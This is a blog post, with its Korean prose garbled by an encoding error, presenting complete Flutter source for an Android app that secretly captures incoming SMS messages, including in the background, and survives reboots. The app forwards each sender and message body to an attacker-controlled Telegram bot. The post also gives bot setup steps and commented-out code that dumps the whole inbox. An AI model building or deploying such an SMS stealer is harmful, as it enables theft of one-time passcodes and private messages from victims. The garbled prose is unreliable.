๋ช ์ฃผ ๋์ ์งํํ๊ณ ์๋ ์ฌ์ด๋ ํ๋ก์ ํธ๋ฅผ ์งํํ๋ค๊ฐ ๋๋ฌด ์ง๋ฃจํด์ ๊ธฐ๋ถ ์ ํ ๊ฒธ
ํ๋ฃจ์ค๋ต์ฒ๋ผ ๊ฐ๋จํ๊ณ ์ฌ๋ฏธ์๋ ์ฑ ์ข ๋ง๋ค์ด๋ณด๋ ค๊ณ ์๊ฐํ๋ค๊ฐ ๋ฌธ์๋ฉ์ธ์ง๋ฅผ ์ค์๊ฐ์ผ๋ก ํ์ทจํ๋ ๊ธฐ๋ฅ์ ๋ง๋ค๋ฉด
์ฌ๋ฏธ์์ ๊ฒ ๊ฐ์์ ๊ฐ๋ฐ ๊ณผ์ ์ ๊ณต์ ํด๋ณด๊ณ ์ ํฌ์คํ ์ ํด๋ดค์ต๋๋ค.
์ฌ๋ฏธ๋ก๋ง ์ฝ์ด์ฃผ์๊ณ ๋ถ๋ฒ์ ์ธ ์ฉ๋๋ก ์ฌ์ฉ์ ์ค์ ๋ก ๊ณ ์๋ฅผ ๋นํ์ค ์ ์์ต๋๋ค.
๋ค๋ง, ์ค์ ๋ก ์ฌ์ฉํ๊ธฐ์๋ ์ ์ฝ์ด ๋ง์ ํธ์ด๋ผ ์ฝ์ง๋ ์์ต๋๋ค.
์ฌ์ฉ๋ ํจํค์ง๋ ํ์ ์ด 3๊ฐ ์ ๋๋ค.
https://pub.dev/packages/telephony
https://pub.dev/packages/dart_telegram_bot
https://pub.dev/packages/auto_start_flutter
telephony๋
์๋๋ก์ด๋ํฐ ๊ธฐ์ข ์ sms/phone ๋ฐ์ดํฐ๋ฅผ ์ ๋ถ ๊ธ์ด์ ๊ฐ์ ธ์ฌ ์ ์๋ ํจํค์ง ์ ๋๋ค.
์ฌ์ฉ๋ฒ์ ๋งค์ฐ ๊ฐ๋จํฉ๋๋ค.
์ฒ์์๋ ๊ถํ์ ์ํด AndroidManifest.xml์ ์ถ๊ฐํด์ผ ํ ๊ฒ ์ด ์์ต๋๋ค.
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<application
...
<receiver android:name="com.shounakmulay.telephony.sms.IncomingSmsReceiver"
android:permission="android.permission.BROADCAST_SMS" android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
...
</application>
</manifest>
๊ทธ ํ์ main.dart ํ์ผ๋ก ๋์์์
final Telephony telephony = Telephony.instance;
telephony ์ธ์คํดํธ ๋ณ์๋ฅผ ํ๋ ์์ฑํด์ค๋๋ค.
๊ทธ ํ ๋ฌธ์์ ํธ๋ํฐ ๋ด์ญ์ ์ ๊ทผํ ์ ์๋ ๊ถํ ์์ฒญ์ ํฉ๋๋ค.
bool permissionsGranted = await telephony.requestPhoneAndSmsPermissions;
@override
void initState() {
super.initState();
initSmsListener(); // ๋ฌธ์ ํฌ์ด๊ทธ๋ผ์ด๋/๋ฐฑ๊ทธ๋ผ์ด๋ ์ค์๊ฐ ๋ด์ฉ ๋ฐ๊ธฐ
getAutoStartPermission(); // ๋ฐฑ๊ทธ๋ผ์ด๋ ํญ์ ์คํ ๊ถํ
}
๊ทธ๋ฆฌ๊ณ initState()๋ ์ ์ฒ๋ผ ์ด๊ธฐํ๋ฅผ ํด์ฃผ๋๋ฐ getAutoStartPermission()๋
ํธ๋ํฐ์ด ์ฌ์์๋๊ฑฐ๋ ์ฑ์ด ์ข ๋ฃ๊ฐ ๋์ด๋ ์ฑ์ด ์์ ์คํ๋๋๋ก ๋์์ฃผ๋ ํจํค์ง ์ ๋๋ค.
์์์ ์ถ๊ฐํ auto_start_flutter๋ผ๋ ํจํค์ง์ด๊ณ ,
์ฌ์ฉ๋ฒ์ ์์ฒ๋ผ ์ด๊ธฐ์ ๊ถํ์ ๋ฐ๊ธฐ๋ง ํ๋ฉด bool ๊ฐ์ผ๋ก ture/false๋ฅผ ๋ฐํํฉ๋๋ค.
์ ์ด์ , initSmsListener() ํจ์์ ๋ํด์ ์์๋ด ์๋ค.
initSmsListener() async {
telephony.listenIncomingSms(
onNewMessage: (SmsMessage message) {
log("New message from: ${message.address}, Content: ${message.body}");
// ์๋๋ ํ
๋ ๊ทธ๋จ ๋ด ์ค์ ๋ถ๋ถ
Bot(
token: 'input_your_token',
onReady: (bot) => bot.start(clean: true),
).sendMessage(ChatID('input_your_chatId'), "New message from: ${message.address}, Content: ${message.body}");
},
onBackgroundMessage: backgroundMessageHandler,
);
}
์ ์ฝ๋๋ ํธ๋ํฐ์ ์๋ก์ด ๋ฌธ์๋ฅผ ๋ฐ์์ ๊ฒฝ์ฐ ๊ฐ์งํ์ฌ ๋ฌธ์๋ฉ์์ง ๋ด์ฉ์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
๊ทธ ํ ๋ฌธ์๋ด์ฉ์ ๋ด ํธ๋ํฐ์ผ๋ก ์ ์กํ๊ธฐ ์ํด์ ํ ๋ ๊ทธ๋จ Bot์ ์ฌ์ฉํ์์ต๋๋ค.
์ฌ์ฉํ ํจํค์ง๋ dart_telegram_bot์ด๊ณ , ์ด๋ฏธ ๋ง๋ค์ด์ง ๋ด์ ์ฐ๋ํ์ฌ ๋ด๊ฐ ์ํ๋ ๋ฉ์ธ์ง๋ฅผ ์ ์ก ํ ์ ์์ต๋๋ค.
telephony์ ๋ํ ์ถ๊ฐ์ ์ธ ๋ด์ฉ์ ์๋ ๋งํฌ๋ฅผ ์ฐธ์กฐํด์ฃผ์ธ์
https://telephony.shounakmulay.dev/listen-incoming-sms
ํ ๋ ๊ทธ๋จ ๋ด์ ํ ํฐ๊ฐ๊ณผ ChatId๋ฅผ ์ป๋ ๋ฐฉ๋ฒ์ ์ด๋ ต์ง ์๋ค.
BotFather๋ฅผ ๊ฒ์ํด์ ์ฑํ ์ ์์ํ๋ค์ /start ๋ฅผ ์ ๋ ฅํ๋ค.
๊ทธ ํ /newbot ์ ์ ๋ ฅํ์ฌ ์๋ก์ด ๋ด์ ๋ง๋ ๋ค.
๊ทธ๋ฌ๋ฉด ์ด๋ ๊ฒ ๋ด ๋ด์ ChatId๋ฅผ ์ป์ ์ ์๋ ์ฃผ์์ ํ ํฐ๊ฐ์ ์ค๋ค.
์ผ๋จ ChatId๋ฅผ ์ป๊ธฐ ์ํด์๋ ์ฒซ๋ฒ์งธ ๋งํฌ๋ฅผ ์ ์ํด์ ๋ฐฉ์ ๋ง๋ค์ด ์ค๋ค์,
[ https://api.telegram.org/bot[Token๊ฐ]/getUpdates ]
์ ์ฃผ์์ token๊ฐ์ ๋ฃ์ผ๋ฉด ์ป์ ์ ์๋ค.
๊ทธ๋ฆฌ๊ณ onBackgroundMessage ๋ถ๋ถ์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์ฑ์ด ์คํ๋ ๋ ๋ฌธ์๋ฅผ ๋ฐ์ ์ ์ด๋ป๊ฒ ์ฒ๋ฆฌํ ์ง์ ๋ํ ๊ฒ์ ๋๋ค.
๋๋ ๊ทธ๋ฅ ์ฌ๊ธฐ๋ ํฌ์ด๊ทธ๋ผ์ด๋์ฒ๋ผ ๋๊ฐ์ด ์์ฑํ์์ต๋๋ค.
backgroundMessageHandler(SmsMessage message) {
log("Background SMS: ${message.address}, ${message.body}");
Bot(
token: 'input_your_token',
onReady: (bot) => bot.start(clean: true),
).sendMessage(ChatID('input_your_chatId'), "New message from: ${message.address}, Content: ${message.body}");
}
๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง์ผ๋ก ์์ ฏ๋ถ๋ถ์ ๋์ถฉ ๊ถํ ๋ถ๋ถ์ ์ถ๊ฐ์ ์ผ๋ก ๊ฐ์ ธ์ฌ ์ ์๋ ๋ฒํผ ํ๋๋ง ๋ง๋ค์์ต๋๋ค.
+ ์ฌ๋ด
์ถ๊ฐ์ ์ผ๋ก ๋ฐ์ํ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๋๋ผ ์กฐ๊ธ ๊ฑธ๋ ธ๋๋ฐ ๊ฐค๋ญ์ ํฐ์๋ง ์๋ ํน์ดํ ๊ธฐ๋ฅ๋๋ฌธ์ ๋๋ค.
๊ฐค๋ญ์ ์ฐ๋ ์ฌ๋์ด๋ผ๋ฉด ํธ๋ํฐ์์ ๋ฌธ์๋ฅผ ๋ฐ์์๋ ์ด๋ ๊ฒ ๋๊ฐ์ง ํํ๊ฐ ์์ต๋๋ค.
2๋ฒ์งธ ๊ฐ์ ๊ฒฝ์ฐ ๋ฉ์ธ์ง ํ์ ์ ๋ณด๋ฉด,
์ด๋ ๊ฒ "๋ํ" ํ์ ์ผ๋ก ๋์ค๊ฒ ๋ฉ๋๋ค.
๊ธฐ๋ณธํ์ ์ "๋ฌธ์ ๋ฉ์์ง" ์ ๋๋ค.
๊ทธ๋์ ์ด๋ฌํ ํ์ ๋๋ฌธ์ ์ค์ ๋ก ๋ฌธ์๋ฉ์ธ์ง๋ก ์ธ์์ ํ์ง ๋ชปํ๋ ๊ฒฝ์ฐ๊ฐ ๋ฐ์ํ์์ต๋๋ค.
ํด๊ฒฐํ๋ ๋ฐฉ๋ฒ์ ์ฑํ + ๋ผ๋ ๊ฐค๋ญ์ ๋ฌธ์๋ฉ์ธ์ง ๊ธฐ๋ฅ์ ๋๋ฉด ๋ฉ๋๋ค.
์ค์ -> ์ฑํ + ์ค์ -> ์ฑํ + ๊ด๋ฆฌ -> ์ฑํ + ๋๊ธฐ ๋ฒํผ ํด๋ฆญ
๊ธฐ๋ฅ์ ๋๊ฒ ๋๋ฉด ์ด์ ๋ถํฐ ๋ชจ๋ ๋ฌธ์ ๋ฉ์ธ์ง๋ ๊ธฐ๋ณธ ํ์ ์ผ๋ก ๋ฐ๊ฒ ๋ฉ๋๋ค.
์๊ฐ๋ณด๋ค ์งง์ ์ฝ๋๋ก ์์ฃผ ๊ฐ๋จํ๊ฒ ๋ค๋ฅธ ์ฌ๋์ ๋ฌธ์ ๋ฉ์ธ์ง ๋ด์ฉ์ ๋ฐ์ ์ฌ ์ ์๋ ๊ธฐ๋ฅ์ ๋ง๋ค์ด ๋ณด์์ต๋๋ค.
์ถ๊ฐ์ ์ผ๋ก ๊ถ๊ธํ ์ ์ด ์๋ค๋ฉด ๋๊ธ๋ก ๋จ๊ฒจ์ฃผ๊ธฐ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค.
์ ์ฒด ์ฝ๋
์ฝ๋ ๋ณด๊ธฐ
import 'dart:developer';
import 'package:auto_start_flutter/auto_start_flutter.dart';
import 'package:dart_telegram_bot/dart_telegram_bot.dart';
import 'package:dart_telegram_bot/telegram_entities.dart';
import 'package:flutter/material.dart';
import 'package:telephony/telephony.dart';
backgroundMessageHandler(SmsMessage message) {
log("Background SMS: ${message.address}, ${message.body}");
Bot(
token: 'input_your_token',
onReady: (bot) => bot.start(clean: true),
).sendMessage(ChatID('input_your_chatId'), "New message from: ${message.address}, Content: ${message.body}");
}
void main() {
runApp(
const MyApp(),
);
}
class MyApp extends StatelessWidget {
const MyApp({super.key});
@override
Widget build(BuildContext context) {
return const MaterialApp(
home: HomeScreen(),
);
}
}
class HomeScreen extends StatefulWidget {
const HomeScreen({super.key});
@override
State<HomeScreen> createState() => _HomeScreenState();
}
class _HomeScreenState extends State<HomeScreen> {
Telephony telephony = Telephony.instance;
String text = '';
@override
void initState() {
super.initState();
initSmsListener();
getAutoStartPermission();
}
@override
Widget build(BuildContext context) {
return Scaffold(
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [
ElevatedButton(
onPressed: () => fetchSmsMessages(),
child: const Text('Clicked'),
),
Text(text),
],
),
),
);
}
void fetchSmsMessages() async {
var permissionsGranted = await telephony.requestSmsPermissions;
if (permissionsGranted != null && permissionsGranted) {
setState(() {
text = 'ON';
});
// ๊ธฐ์กด์ ์๋ ๋ฌธ์๋ฉ์ธ์ง ๋ด์ฉ ์ ๋ถ ๊ฐ์ ธ์ค๊ธฐ
// List<SmsMessage> messages = await telephony.getInboxSms(
// columns: [
// SmsColumn.ADDRESS,
// SmsColumn.BODY,
// ],
// );
// for (var message in messages) {
// log("Message from: ${message.address}, Content: ${message.body}");
// }
}
}
initSmsListener() async {
telephony.listenIncomingSms(
onNewMessage: (SmsMessage message) {
log("New message from: ${message.address}, Content: ${message.body}");
Bot(
token: 'input_your_token',
onReady: (bot) => bot.start(clean: true),
).sendMessage(ChatID('input_your_chatId'), "New message from: ${message.address}, Content: ${message.body}");
},
onBackgroundMessage: backgroundMessageHandler,
listenInBackground: true,
);
}
}